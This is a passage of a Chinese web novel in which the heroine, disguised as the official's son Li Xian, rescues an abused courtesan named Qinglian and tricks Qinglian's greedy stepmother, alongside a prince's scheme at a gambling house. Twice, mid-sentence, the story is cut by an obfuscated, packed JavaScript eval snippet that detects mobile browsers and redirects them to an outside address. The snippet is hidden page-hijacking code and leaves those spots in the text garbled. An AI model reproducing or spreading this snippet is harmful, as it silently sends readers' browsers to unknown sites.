而面前的男子已经下了逐客令:“赶紧滚赶紧滚,别在这儿碍了贵人的眼!” 高玥要的就是这个效果。 她垂下眼帘,面上却装出几分被羞辱后的愤怒。 “你休要狗眼看人低!我不过是暂时手头不便,你等着,我早晚要让你刮目相看!” 她故意提高了声音,语气里夹杂着些许的不服气。 “我等着?我等你什么时候飞黄腾达了再来吧!”男子不耐烦地挥挥手,“快滚快滚!” 高玥愤怒地甩了甩袖子,转身便走,随即便钻入一处无人注意的暗角。 “系统,兑换□□,目标人物,李显。” 【高级□□已兑换,消耗积分500点。时效一个时辰,请玩家尽快使用。】 话音刚落,一张薄如蝉翼的人面面具出现在她手中。 高玥没有犹豫,迅速将其覆在脸上,清秀少年的面容逐渐模糊,取而代之的是李显那张略显浮肿的脸。 紧接着她又在暗处学着李显走路的样子来回扭了几下,这才放心地走了出来。 她深吸一口气,吊儿郎当地朝着方才李显下来的那条楼梯走去。 然而,她一只脚刚踩上楼梯,一道黑影便拦在了她的面前。 “站住。” 高玥下意识地抬起头,拦路地是一个身材魁梧的守卫,正一脸警惕地审视着她。 “你是谁,来干什么的?你不懂三楼的规矩吗?” 第一次装成别人,这么快就被拦下来了,难道是哪里露馅了? “我……” 高玥内心飞快地盘算着说辞,还没来得及开口,身后便传来一阵香风。 “瞎了你的狗眼!” 刚刚的那位鸨母上来就对着那守卫的脑袋不轻不重地拍了一下。 “连李公子都敢拦,我看你是吃了熊心豹子胆了!” 那鸨母训斥完守卫,便立刻又换上了一副谄媚的笑容,扭着腰走到高玥面前。 “李公子可是落了什么东西,还是说……舍不得咱们的姑娘呀?”鸨母的眼神一寸一寸的扫过高玥,笑得别有深意,“您只管说,想要什么样的姑娘,妈妈我保管给您安排的妥妥帖帖!” 看来这□□着实不凡,高玥暗自松了口气。 高玥学着李显的不耐烦的模样瞥了鸨母一眼,“我确实是有东西落在上面了。” 谁知鸨母笑得更加花枝乱颤,“多大点事,何必您亲自跑一趟。您在这歇着,我马上让姑娘们给你送来。” 话音刚落,高玥便脸色一沉,厉声呵斥道,“我的东西金贵着呢,要是不小心弄坏了,你赔得起吗?!” 鸨母脸上的笑意瞬间凝固,她连忙转过身,对着那还愣在原地的守卫又是一脚,“没听见李公子的话吗?还不快滚开!一点眼力见都没有的东西!” 那个守卫被踹得一个踉跄,哪里还敢阻拦,连忙闪到了一旁。 高玥冷哼了一声,整理好衣襟,便大摇大摆地走上了三楼。 楼上的布局比下面雅致许多,空气中弥漫着一股甜腻的熏香,混合着酒气,令人闻之欲呕。 走廊两侧是一间间紧闭的房门,隐约还能听到里面传出的靡靡之音。 她屏住呼吸,仔细分辨着每一个房间里传来的动静,试图捕捉到任何关于高盼的蛛丝马迹。 走廊尽头的一间房似乎格外安静,与其他房间的喧闹格格不入。 高玥心头一动,放轻了脚步,正准备悄悄凑到门边,一声怒骂声从隔壁房间传来。 “贱人!还敢躲!” 紧接着便是一声清脆的耳光声,伴随着瓷器碎裂的刺耳动静。 “啊——” 一声凄厉的尖叫之后,是女子止不住的哭喊和求饶。 “求求您……求求您放过我吧……我再也不敢了……” 那声音带着哭腔,充满了恐惧与绝望。 高玥的脸色沉了下来。 她本想直接一脚踹开门,但理智让她停住了脚步。 这具身体手无缚鸡之力,对方是个正在施暴的男人,硬闯进去,非但救不了人,恐怕连自己都要搭进去。 只在瞬间,高玥便下定了决心。 “系统,兑换强效迷香。” 【叮!强效迷香已兑换,消耗积分300点。】 一个小巧的瓷瓶瞬间出现在她掌心。 她轻轻走到门前,从门缝中观察,里面的景象让她倒吸了一口凉气。 一个男人正背对着门口,他一手死死揪着一个女子的头发,将她整个人野蛮地从地上拖拽起来,迫使她仰起头。 她不再迟疑,拔开瓶塞,将一缕无色无味的青烟顺着门缝吹了进去。 为了确保万无一失,她耐心等了足足一刻钟,直到房间里的声音彻底平息,只剩下沉重的倒地声传来,她才缓缓推开房门。 眼前的景象让她胃里一阵翻江倒海。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315875|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女子此刻正蜷缩在角落,身上的衣物被撕得破碎不堪,露出的皮肤上布满了青紫的伤痕与血迹,一张原本清秀的脸肿胀得不成样子,已然昏死过去。 而房间中央,一个身材肥硕的男人呈大字型躺在地上,鼾声如雷。 当务之急,是救人。 高玥快步上前,探了探女子的鼻息,尚且平稳,这才松了口气。 她立刻脱下自己的外袍,将女子瘦弱的身体紧紧裹住,拦腰抱起。 女子的体重轻得惊人,高玥抱着她毫不费力地走出了房间。 …… 与此同时,京城另一端的“通四海”赌坊,却是另一番光景。 “通四海”赌坊内,人声鼎沸,热浪熏天。 一张张赌桌被围得水泄不通,红着眼的赌徒挥舞着手臂嘶吼着。 “大!大!大!” “小!小!小!” 骰子落入瓷碗,发出清脆的撞击声。 就在这片狂热到近乎癫狂的氛围中,一扇厚重的大门被推开。 一抹雪白缓缓踏入这片乌烟瘴气的场所。 离门最近的一个伙计原本正扯着嗓子吆喝,一瞥见来人,瞬间换上一副谄媚到近乎畏惧的笑容,手脚麻利地躬身行礼,连大气都不敢喘。 而原本还在各自忙碌的赌坊伙计们,听到了这声动静,都纷纷停下手头的活计,垂首肃立,自动在他前行的路线上让开一条通路。 “东家。” 一声声低沉的称呼,充满了敬畏。 一个新来的伙计不明所以,拉住身边的人小声问道:“王叔,这位是哪路神仙?怎么咱们掌柜的见了他,跟老鼠见了猫似的?” 被称作王叔的老伙计压低了声音,眼中满是忌惮:“你小子新来的,不知道这位爷的厉害。一个月前,他第一次来,就带了十两银子。咱们原来的钱掌柜,也就是现在这位的跟班,当时见他面生,还出言讥讽了几句。” “后来呢?”新伙计听得入了神。 “后来?”王叔讪讪笑了一声,“后来这位爷就用那十两银子做本,从最小的骰子桌开始,一路赢到了最大的牌九局。 整整三天三夜,他都没出过这赌坊的门,也没输过一把。最后钱掌柜把整个赌坊都押了上去,结果还是输了。这位爷,现在是咱们通四海现在的新东家。” 新伙计倒吸一口凉气,再看向齐思铭的背影时,眼神里只剩下了敬畏。 王叔拍了拍他的肩膀,告诫道:“记住了,在这儿,你可以得罪任何人,但千万别惹这位爷不高兴。不然,钱掌柜的今天,就是你的明天。” 穿过喧闹的大堂,齐思铭走进最里间一处僻静的雅室。 钱掌柜正躬身候在门外。 “王……东家。”王友连忙迎了上来,为他推开门。 齐思铭坐到主位上,慢条斯理地为自己斟了一杯茶。 “事情办得如何了?”他没有抬头,随意地问道。 王友恭敬地回禀:“按您的吩咐,赌坊里那些见不得光的银子,都以施粥赈灾的名义散了出去,剩下那些干净的账目,已经换成了官银,分批注入了通源钱庄。” 齐思铭端起茶杯,轻轻吹了吹浮沫:“鱼饵放出去了?” “放出去了。”王友的脸上露出一丝兴奋,“那家钱庄的背后是户部侍郎李显在撑腰,咱们这笔巨款一进去,他绝对会动心。 按照他们的规矩,这么大一笔钱,不可能长时间留在账上。最多三日,这笔钱就会流向下一个地方。到那时,咱们就能顺藤摸瓜,看看究竟是谁,在用国库的银子,养着自己的私兵。” 齐思铭面无表情的脸上终于有了一丝变化。 他布这个局,已经很久了。 从赢得这家赌坊开始,每一步都在他的算计之中。 既然齐思安素有仁德之名,那他就用这些本不干净的钱,去做比齐思安更得人心的善事。 他要让天下人都看看,谁才是真正的贤王。 而至于那些脏钱,正好可以用来引出藏在户部背后的大鱼。 他呷了口茶,茶水微烫,他却仿佛毫无所觉。 只是不知,此刻他的那枚棋子,又在做什么? 28. 风尘染血 另有图谋 夜凉如水,子时的山城空无一人。 怀中女子的呼吸急促而滚烫,高玥的手轻轻覆在女子的额头上。 糟了,她发烧了! 可这个时辰,所有的医馆早已关门,高玥的心中也开始愈发的焦急。 终于,一盏发着微弱亮光的灯笼出现在巷子尽头,上面龙飞凤舞地写着三个大字。 回春堂。 还开着门! 高玥眼前一亮,像是抓住了最后一根救命稻草一般,用尽力气冲了过去。 “有人吗?开门!救命!”高玥腾出一只手,用力地拍打着门环。 怀中的女子发出一声微弱的呻吟,气息越发微弱。 高玥心急如焚,正要再次敲,门内却传来一阵窸窣的脚步声,随即是门栓被拉开的“吱呀”声。 一个衣着松垮中衣的中年男子探出头来,睡眼惺忪,满脸的不耐烦。 “大半夜的敲什么敲,还让不让人睡觉了!” 他不耐烦地嚷嚷着,当他看清高玥怀中那个奄奄一息的女子后,脸色瞬间变得更加难看。 “晦气!真是晦气!”他低声咒骂了一句,作势就要关门,“去别处去!要死也别死在我这里!” 高玥像是没有听到他的咒骂一般,竟是直接用肩膀撞了上去。 那个男子没想高玥竟直接这么一撞,一个没站稳,险些摔倒在地。 “你疯了吧!你敢闯我的医馆!你……” 高玥小心翼翼地将怀中的女子平放在床榻上。 做完这一切,她才缓缓转过身,一字一句地说道,“你今日若不救,我便拆了你这医馆!” 那郎中上下打量了一番高玥,又瞥了一眼床上衣衫不整的女子,脸上露出鄙夷的神色。 这种从烟花之地出来的腌臢事,他见得多了,多半是争风吃醋的打闹,或是哪个恩客手重了些。 他撇撇嘴,慢悠悠地擦着柜台:“公子爷,小老儿这庙小,怕是容不下您这尊大佛。您还是另寻高明吧。” 这摆明了是不想沾惹麻烦。 高玥心头火起,她现在好歹也是顶着李显的这张脸,就连鸨母都得给三份脸面,现如今竟被个小小医馆的郎中给下了面子。 她上前一步,怒声喝道:“睁开你的狗眼看看我是谁!我爹是户部侍郎李源!耽误了救人,我让你全家都去大牢里吃牢饭!” 掌柜的手一顿,抬眼端详着高玥。 片刻后,他嗤笑一声:“你说你爹是户部侍郎,我还说我爹是当今圣上呢,你信吗?” “不过……”他眨了眨眼睛,伸出手,拇指与食指捻了捻,那意思再明白不过。 “有了这个,你爹就是当今圣上!” 高玥在心里把这见钱眼开的老家伙骂了一百遍。 不过情况紧急,她也懒得再费口舌,从怀里摸出一锭沉甸甸的银子,重重地拍在柜台上。 “五十两,够不够?” 掌柜的眼睛瞬间亮了,脸上立刻笑成了一朵花。 他飞快地将银子揣进怀里,态度一百八十度大转弯:“够了够了!公子爷心善,菩萨心肠啊!您放心,只要人还有一口气,小老儿保证给您救回来!” 变脸之快,让高玥叹为观止。 不过这掌柜的收了钱,办事倒也利索。 他给女子细细把了脉,又检查了伤口,开了方子让药童去抓药煎药。 一番忙碌下来,天边已经泛起了鱼肚白。 高玥就这么静静地坐在床边的矮凳上,一夜未眠。 床上的女子呼吸平稳了许多,那张脸洗净了以后倒也算得上清秀。 她到底在做什么? 她当下的任务是寻找高盼,而不是来这边做活菩萨的,而现如今,高盼没找到,反倒是还带了个拖油瓶。 就在高玥思绪万千之时,床上的女子缓缓睁开了眼睛。 她看到床边的高玥,也是一愣。 她挣扎着想要起身,虚弱地开口问道:“是……是公子救了奴家?” 高玥点了点头,递过去一杯温水:“你醒了,现在感觉怎么样?” 女子的眼中闪了几闪,没有第一时间接水,而是掀开被子就要下床。 她双膝一软,便要跪下去磕头:“公子救命之恩,奴家无以为报……” “行了,”高玥眼疾手快地扶住她,“你身上有伤,别乱动。我救你不是为了让你磕头谢恩的。” 她的语气有些生硬,女子被吓得一怔,泫然欲泣。 高玥见状,心里暗叹一声,放缓了语气:“我不是在凶你。你先好好躺着,有什么话,等你身体好些再说。” 她扶着女子重新躺下,将水杯递到她唇边。 女子迟疑了一下,还是小口小口地喝了。 温热的水也让她稍稍安定下来。 “你叫什么名字?为何会在红袖阁?”高玥直接切入主题。 女子攥着被角,犹豫了一下,低声回答:“奴家名叫青莲。是……是被恶人卖进红袖阁的。” “恶人?” “是奴家的继母。”青莲的眼泪终于忍不住落了下来,“她欠了赌坊的钱,便将我卖了。” “你家在何处?现在家中还有什么人?”高玥继续追问。 “家在城南的柳树巷,家里……只有一个常年卧病的父亲了。”青莲的声音带着哭腔,“公子,求求您,救救我爹吧!我若是不回去,继母定然不会管他的死活!” 高玥沉默了。 她救下青莲,只是临时起意,却没想到会牵扯出这么一桩麻烦事。 她现在自己都还有要紧事要去做,哪里还有精力去管别人的家事。 可看着青莲那双充满哀求的眼睛,拒绝的话却怎么也说不出口。 “你的事,我自会处理。你先安心养伤。”高玥只得先安抚下青莲,待回去慢慢整理一下思绪再做定论。 青莲却一把抓住了她的衣袖,急切地道:“公子要去哪里?您……您不会是不要我了吧?” 她的眼神充满了惊恐,如同一头受惊的小鹿。 高玥心中一软,语气也温和下来:“我出去给你买些吃的和换洗的衣物。你放心,我不会丢下你不管。” 得到承诺,青莲这才松开了手,目送着高玥离开。 而就在高玥为青莲的事情烦心时,千里之外的清河郡,气氛却是一片压抑。 齐思铭坐在书房内,氤氲的茶气模糊了他俊美却阴郁的面容。 “殿下,消息确认无误。咱们的人本已经看到李显从红袖阁离开,他却没过多久又折返回去了,还从红袖阁救下了一名女子,之后二人便不知所踪。”王友毕恭毕敬地禀报。 齐思铭轻轻摩挲着温热的杯壁,若有所思。 “李显?那个草包什么时候变得如此怜香惜玉,还玩起了英雄救美的戏码?” 王友低着头:“属下也觉得此事蹊跷。李显此人,向来胆小怕事,欺软怕硬,为了一名风尘女子得罪红袖阁,不像是他会做的事。” “有意思。”他淡淡地吐出两个字,“看来这李显身上倒是藏着不少秘密。” 他起身走到窗边,看着庭院中那棵枝繁叶茂的梧桐树,陷入沉思。 “王友。” “属下在。” “去查那个女子的底细,我要知道她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320078|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一切。”齐思铭的声音中没有任何情绪。 “是!” “另外,”他转过身,眼中闪过一丝厉色,“备马。” 王友一愣,抬起头:“王爷要去何处?” 齐思铭的唇角缓缓勾起一抹意味深长的笑意,眼中却无半分暖色。 “去山城。”他淡淡说道,“这个李显既然是通源钱庄背后之人,那本王这个通四海的东家,怎么能不去会会他呢?” 他顿了顿,嘴角那抹温和的笑容重新浮现,只是那笑意未达眼底,反而显得愈发阴冷。 “看来,我们要去一趟山城了。” …… 高玥从医馆出来,迎着阳光眯了眯眼睛,嘴角勾起一抹与“李显”这个身份截然不符的狡黠笑意。 她要办事,自然是要用“李显”这个名头去办,并且还要办的人尽皆知。 她清了清嗓子,收起眼中那份沉静,换上了一副吊儿郎当的模样,大摇大摆地走近了山城最大的绸缎庄。 锦绣阁。 “掌柜的!”高玥刚踏进门槛,声音便提得老高,将折扇“啪”地一下在掌心敲响。 “把你们店里最新,最贵,最时髦的姑娘家衣裳,全都给小爷我拿出来!” 掌柜的是个见过世面的,一看来人派头,便知是位不好惹的主,连忙亲自迎了上来。 “公子爷,您来得巧,刚到了一批苏绣的春衫,不知您心仪的姑娘是何等的身量与喜好?” “问那么多做什么?”高玥不耐烦地一挥手,从袖中掏出一只沉甸甸的钱袋,重重地拍在柜面上,“小爷我只管付钱!我家青莲姑娘天仙下凡,穿什么都好看!你就捡着最好的给我包起来!” “哦,我忘了,这一套哪够?春夏秋冬,里里外外的,全都给我备齐了!” “青莲姑娘?”掌柜的微微一愣。 那可是红袖阁的主。 他们这些做衣裳的,平日里跟红袖阁接触的也多,这红袖阁七七八八的姑娘,他们还是认得的。 高玥像是生怕别人听不见一样,故意重复了一遍:“没错!就是青莲姑娘!你们都给小爷听好了,从今往后,山城里只有一位青莲姑娘,那就是我李显的心头肉!谁要是敢慢待了她,就是跟小爷我过不去!” 有了这番话,以后山城的人再想要欺负青莲,怕不是也要心中掂量个几分了。 出了锦绣阁,高玥又如法炮制地去了点心铺,首饰铺。 不到半个时辰,户部侍郎之子李显为博美人青莲一笑,一掷千金”的消息,就飞遍了山城的大街小巷。 这阵风自然也刮进了城南的柳树巷。 青莲的继母正坐在牌桌上,输得双眼通红。 一个牌友推了她一把,阴阳怪气地说道:“我说王嫂子,你还在这儿愁眉苦脸呢?听说你家青莲可了不得,攀上高枝了!” “就那个死丫头,能攀上什么高枝?” “还能是谁?户部侍郎家的李公子啊!人家当着全城人的面说了,为了你家青莲,万金都舍得花,此生非她不娶呢!”牌友添油加醋地描述着街上的见闻,“绫罗绸缎、金银首饰、山珍海味,流水似的往你家青莲那里送呢!” “哎哟我的王嫂子,你可要过上好日子咯!” 继母捏着麻将的手猛地一顿,难以置信地瞪大了眼睛。 那个赔钱货? 被她几两银子就卖掉的丫头片子竟然钓上了这么个金龟婿? 短暂的震惊过后,巨大的狂喜瞬间席卷了她。 她猛地将手中的牌一推,嘴里骂骂咧咧地站起身:“他娘的,不玩了!老娘要去医馆看看我那宝贝女儿去!” 29. 巧设罗网捉王氏 “咣当”一声巨响。 回春堂的木门被人从外头猛地撞开。 门口坐着的两个伙计刚想发怒,紧接着便看到一个穿着绛紫色绸衫的妇人旋风似的冲了进来。 来人正是青莲的继母王氏。 她头上的步摇晃得叮当作响,一双吊梢眉扭成了一个疙瘩,本就刻薄的三角眼此刻更是瞪得溜圆。 “这位夫人,您是想抓药还是……” 回春堂的伙计刚想上前,王氏却一把把他拨到一边,径直冲到柜台前。 她那只戴着金镯子的手重重往柜面上一拍,发出“啪”的一声巨响。 “我的宝贝青莲呢?!”王氏尖锐地喊道,“快把她给我叫出来!” 王氏的叫嚷声还未散尽,楼梯处便传来一阵不急不慢地脚步声,只听一个慢悠悠的声音响起。 “是谁要找小爷的青莲啊?” 王氏抬眼望去,只见一个身姿挺拔的年轻公子正信步走下楼梯,而他身后跟着的丫头,正是她口中的青莲! “哎哟,我的心肝儿!”王氏一个箭步冲过去,抓住青莲的手,泪眼婆娑地说道,“你可让娘担心死了!这些天你都上哪儿去了?知不知道娘找你都快找疯了!” 青莲见到来人,方才还有些血色的脸蛋瞬间“唰”地一下变得惨白。 她身子下意识地一僵,身体不受控制地向后缩去,一只手死死攥着李显的衣袖,浑身抖成了筛子。 王氏则暗暗打量着青莲身边的男子,只见他一身云锦长衫,面容俊秀,腰间系着的那块羊脂白玉佩一看就是价值不菲。 她心里顿时又羡又妒,暗骂这个小蹄子真是长了本事,攀上了这么一根高枝,竟跟她吭都不吭一声,难道想吃独食不成? 这个念头在她心里一闪而过,她便迅速拉起青莲的手,三角眼中瞬间眼泪汪汪:“女儿啊,你可不能忘了娘啊。这些年为了拉扯你,娘可是吃了上顿没下顿,受尽了白眼……” 她一边哭还一边偷偷抹着眼泪。 不知道的还以为是一副母慈子孝的感人场景呢! 高玥抱着臂,饶有兴致地看着这场拙劣的表演,心底发出一声冷笑。 但面上她却皱起眉头,露出一副不耐烦的神情。 “行了,哭什么丧!”高玥嫌弃地拨开王氏那鸡爪子一般的手,“小爷我看上你女儿,还能亏待了你不成?” 王氏的哭声戛然而止。 “公子~”她的脸上瞬间笑成了一朵花,早已没了刚刚着急的样子。这变脸速度,连高玥都叹为观止。 王氏用手虚虚地抹了抹那根本没有泪珠的眼角,“瞧我,这不是一时心急嘛!” “我也是担心青莲,听说她在外面有了男人,我这个做娘的,心里实在是放心不下啊!” 她一边说着,一边上下打量着高玥,眼睛却直勾勾地盯着她腰间的那枚玉佩,“不过您放心,我这人最是通情达理。既然公子您看上了我们家青莲,那就是她的福气。我们做爹娘的,也不敢多求什么,就是……” 这摆明了就是要钱了。 高玥也不与她废话,冷哼了一声,从怀里慢条斯理地掏出两样东西,往桌上“啪”地一放。 一样是沉甸甸的钱袋,另一样是一份折好的文书。 “小爷给你两个选择。”高玥用手指点了点钱袋,“这里头是五十两银子,你拿了钱,然后在这份断亲文书上画个押。从此以后,青莲便跟你王家再无瓜葛,是死是活,都与你无关。” 青莲的身姿猛地一震,刚在还满是惊恐的杏眼,此刻却像被投入了一颗石子的平静湖面,瞬间漾开涟漪。 那眼中有震惊,有狂喜,有不敢相信的恍惚,最后全都化为一种近乎灼热的感激。 她攥着高玥衣袖的手,不自觉地又收紧了几分,仿佛攥住是她此生唯一的救赎与希望。 可那王氏就不这么想了。 五十两? 她心里飞快地盘算着,上下打量着穿着上好料子的青莲。 这死丫头如今攀上了这么有钱的公子哥,一身行头都不止五十两,就想这么把她打发了? 门儿都没有! 她可不做这赔本的买卖! 王氏讪讪地笑了笑,随即又换上一副悲痛的模样:“公子,瞧您这话说的……这青莲可是我身上掉下来的一块肉,我怎么舍得跟她断了关系?钱不钱的无所谓,我只要我女儿好好的……” 青莲气得浑身发抖,指着王氏,眼中满是失望与愤恨:“你这个人……!” “舍不得?”高玥挑了挑眉,拿起那份文书,在王氏眼前晃了晃,“那行,还有第二个选择。” 王氏的眼中闪过一丝精光。 高玥将文书展开,露出上面龙飞凤舞的几个大字。 婚聘文书。 “这是一份聘书。”高玥的手指点了点文书,“聘礼五百两白银。如果你今日签字,我便让你风风光光地嫁女儿。往后,你就是我李家的丈母娘,吃香的喝辣的,如何?” 五百两! 她这辈子都没见过这么多钱! 王氏的呼吸突然变得急促,眼珠子死死地黏在那份聘书上,哪里还顾得上什么“母子情深”。 她几乎是扑倒了高玥面前,一把抓住那份文书,仔仔细细地看了起来,恨不得将那份聘书看书两个窟窿来。 见王氏迟迟不肯签字,高玥居高临下地看着她,语气中也多了几分漫不经心地嘲弄: “怎么?岳母大人莫不是不满意这份聘礼,不想签?” 说着,她便装作要收回聘书的样子。 “我签!我签!” 王氏生怕高玥反悔,一把抓过笔,歪歪扭扭地写上自己的名字。 末了又觉得不保险,又冲到桌边,抓起桌上的印泥,狠狠地在名字边上摁下了自己的手印。 眼看着王氏喜不自胜地在文书上摁下了手印,青莲有些着急。 那可是五百两…… 她们这种人家十辈子都挣不来的钱,就这么白白便宜了王氏? 青莲顾不得其他,一把拽住高玥的衣袖,急急忙忙地说道,“公子!您……您怎么能给她这么多钱!她不配!她……” “闭嘴!你这个吃里扒外的死丫头!”王氏立马把那份文书宝贝似得揣进怀里,冲青莲骂到,“怎么?看老娘得了好处,你眼红了?我告诉你,我养你一场,这五百两算你的孝敬钱!” “你如今攀上高枝了,就想把老娘甩了?想得美!” 青莲被她这番无耻至极的话气得浑身发抖,眼泪在眼眶里直打转。 她求助般地看向高玥,不明白事情为什么会变成这样。 高玥无声地捏了捏青莲的手,不着痕迹地侧过身,用身体挡住了王氏的视线。 王氏见状,立马讨好似地凑 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王氏只觉得脑子里像是有什么东西炸开一般,脸上的血色褪得一干二净,刚刚还在谄媚的嘴角,此刻却拧成了一个比哭还难看的表情。 她哆哆嗦嗦地伸出一根手指,几乎就快要指到高玥的鼻子上,过了好半天,才蹦出几个字,“你……你这是什么意思?” “意思就是,”高玥将文书仔细叠好,揣进怀里,居高临下地看着王氏,“你现在欠了我一大笔银子,慢慢还吧。” “对了,忘了告诉你,我爹可是户部侍郎。你要是敢跑,或者再来骚扰青莲……你应该知道后果。” …… 自那日以后,高玥便再也未见过王氏。 关于她的消息,也都是从青莲那里断断续续地听来的。 起初,王氏还想故技重施,在街坊邻里见人就说自己的女儿是个白眼狼,还被女儿和相好设计陷害。 可还没过多久,“通四海”的人就找上了门。她被“通四海”的人请去了最大的浣衣坊,不过几日,那双手便已经如腐烂一般,再也没了往日的嚣张跋扈的样子。 青莲说起这些时,眼底有解脱,也有一丝说不清道不明的怅然。 高玥只是静静听着,并未言语。 而解决了王氏这个麻烦,高玥便以李显的名义,在城南租下了一处清静的小院,将青莲安顿了下来。 接下来的日子,高玥一边暗中打探妹妹高盼的下落,一边照顾着青莲。 她不是没有想过借着“玥贵妃”的身份向皇帝透露一二,求他帮忙寻找。 毕竟以天子之威,寻一个人,不过是动动手的事情。 可这个念头只在脑海中一闪而过,被被她自己扼杀。 听翠儿传来的消息说,皇帝最近得了个新欢,是个色艺双绝的舞姬,正打的火热。 以舞姬的身份,是断不可能进宫的,但是在山城的这个地方,也是足够了。 甚至前几日,皇帝更是肆无忌惮地将人带回了高府,彻夜笙歌。 而她那个所谓的父亲,非但没有半分的不满,反而将那舞姬奉若上宾,殷勤备至。 至于他那个失踪的女儿,怕是早就被他抛到九霄云外去了。 指望他们,还不如指望自己。 高玥对那个所谓的家,再无半分留恋。 30. 一诺千金觅双姝 小院的日子很安静。 青莲的身体在汤药的调理下渐渐好转,脸上也恢复了些许血色。 可每当青莲从过去的阴影中惊醒,一身冷汗地坐起时,总能透过窗纸,看到外面的那个身影。 他就坐在椅子上,手里拿着本书,假装在看天上的月亮,一坐便是一夜。 高玥坐在院中的石凳上,仰头望着夜空,心中却莫名地想起了另一个人。 世人皆道他温润如玉,他也便将最深的狠厉与野心藏在那副与世无争的皮囊之下,对世人展露着恰到好处的脆弱与无害。 而她,是唯一窥见过那面具下真实面目的人。 他会用最温柔的语气,说着最算计人心的话。 他也总说她笨,说她天真得可笑。 可偏偏是这个男人,在她陷入迷局时,总能三言两语为她拨开云雾。 高玥忽然觉得,自己就像这轮被云雾笼罩的月亮,困顿、迷惘。 而那个能为她破开云雾的人,又在哪里呢? 她和他之间,是互相利用的棋子,是心照不宣的盟友,却又在不知不觉间,滋生出一些说不清道不明的情绪。 这种感觉,让她陌生又害怕。 高玥自嘲地笑了笑,收回思绪。 现在可不是想这些的时候。 几天相处下来,青莲渐渐发现,这位传闻中嚣张跋扈的李公子,与传言判若两人。 他会教她写字。 她握笔的姿势不对,他会不耐烦地啧一声:“笨死了。” 可他握着她手腕的那只手,却很稳,一笔一划地教她。 青莲看着灯下“李显”的侧脸,那张清秀的面庞在摇曳的烛火中忽明忽暗,心中第一次对这个男人,产生了超越感激的好奇与信赖。 这日,高玥从外面回来,随口向青莲抱怨道:“红袖阁那地方,真不是人待的,连壶好酒都没有。” 彼时青莲正在绣着一方手帕,闻言手上的动作一顿,轻声说道:“公子有所不知,红袖阁的好东西,都不在一楼二楼。” “我知道,三楼都是好东西。”高玥不在意地接话道。 青莲摇了摇头,犹豫了一下,还是说道,“三楼之上,其实还有一个四楼。” “四楼?” “嗯。”青莲点点头,“那里是用来关不听话的姑娘的。我被卖进去那天,听见一个叫张婆子的人跟老鸨说,” “又带来个新鲜的,不过是个硬骨头,得送去四楼好好磨一磨,磨平了棱角才好接客。” 张婆子! 高玥“霍”地一下从椅子上坐直了身子,目光灼灼地盯着青莲:“你确定,你听到的是“张婆子”?” 高玥的反应太过激烈,以至于吓了了青莲一跳。 她愣愣地点头:“我们这一行,最重要的就是耳听八方,眼观六路,我不会听错的。” 当初将高盼卖掉的人牙子,可能正是张婆子! “公子……你怎么了?”青莲看到高玥忽变的表情,怯生生地说道。 高玥意识到自己时态了。 她深吸了一口气,强压下心头的激动与焦灼,放缓了语气,“没什么,只是想起一个旧人,也不知她现在还好吗?哦对了,你身体还没好,还不快去休息!” 待劝青莲回房歇息后,高玥脸上的温和瞬间褪去。 她关上房门,在屋里来回踱步,脑中却在飞速地运转。 张婆子,红袖阁,四楼。 兜兜转转,没想到关于高盼的线索,竟会是以这种方式出现,那个被称作“硬骨头”的姑娘,很有可能就是高盼。 她必须再去一趟红袖阁! 可她也清楚,上一次光是去三楼,便已经冒了这么大的风险,更何况是四楼? 硬闯更是下下策,她如今这副身子,去了就是送死。 唯一的办法,就是设一个局。 一个能让她顺理成章地踏入四楼,见到张婆子的局。 这天下午,高玥特意去城西最有名的铺子,为青莲买来了她念叨过两次的桂花糕。 她像往常一样推开院门,带着几分轻快喊了一声青莲。 然而,院子里静悄悄的,无人应答。 高玥快步走进屋子里。 房间里整整齐齐,没有任何打斗挣扎的痕迹。 但是,青莲不见了。 桌上还摊着她上午教青莲写字的纸。 一张宣纸上,有一个刚刚写了一半的“玥”字,最后一笔拖得长长的,似乎写字的人被什么事仓促打断了。 字的旁边,静静地放着一支木簪。 那是高玥前两天在地摊上随手买给她的,虽然不贵,却被她视若珍宝。 人呢? 她不过只是出去短短片刻,一个活生生的人,竟然就在她的眼皮子底下无声无息地消失了。 一瞬间,无数个念头瞬间涌入。 青莲被带走了。 是因为她提到了张婆子,被红袖阁的人带走了? 还是王氏心有不甘,悄悄打击报复? 桌子上那还未写完的“玥”字像是无声地求救,她被带走的时候该有多无助? 高玥攥紧了拳头,她强迫自己冷静下来。 她抓起那支木簪,转身冲出了院门。 现在不是乱的时候,当务之急是把人找回来。 …… 浣衣坊里水汽弥漫,捶打衣物的声音此起彼伏。 高玥一脚踹开大门,一眼就锁定了角落里那个正在用力搓着衣服的身影。 “王氏,好久不见啊!” 王氏用力搓洗衣服的动作猛地一顿,她像是被施了定身咒一般,后背一阵发凉。 当她转身看清门口站着的人的时候,本就没有多少血色的脸更是变得惨白。 她结结巴巴地说道,“李……李公子……” 高玥深吸了一口,一步步走过去,在王氏面前站定,语气中充满着寒意。 “青莲呢?” “青莲……”王氏听到这个名字,喃喃地重复了一遍,像是努力在记忆里搜寻着这个名字所对应的人。 过了好一会,她才迷茫地抬起头,看着高玥,“公子,青莲她不是跟您走了吗?” 看着她这副茫然无措的样子,高玥怒极反笑。 “还在装傻?!” 话音未落,她猛地一抬脚,狠狠踹在王氏面前的木盆上。 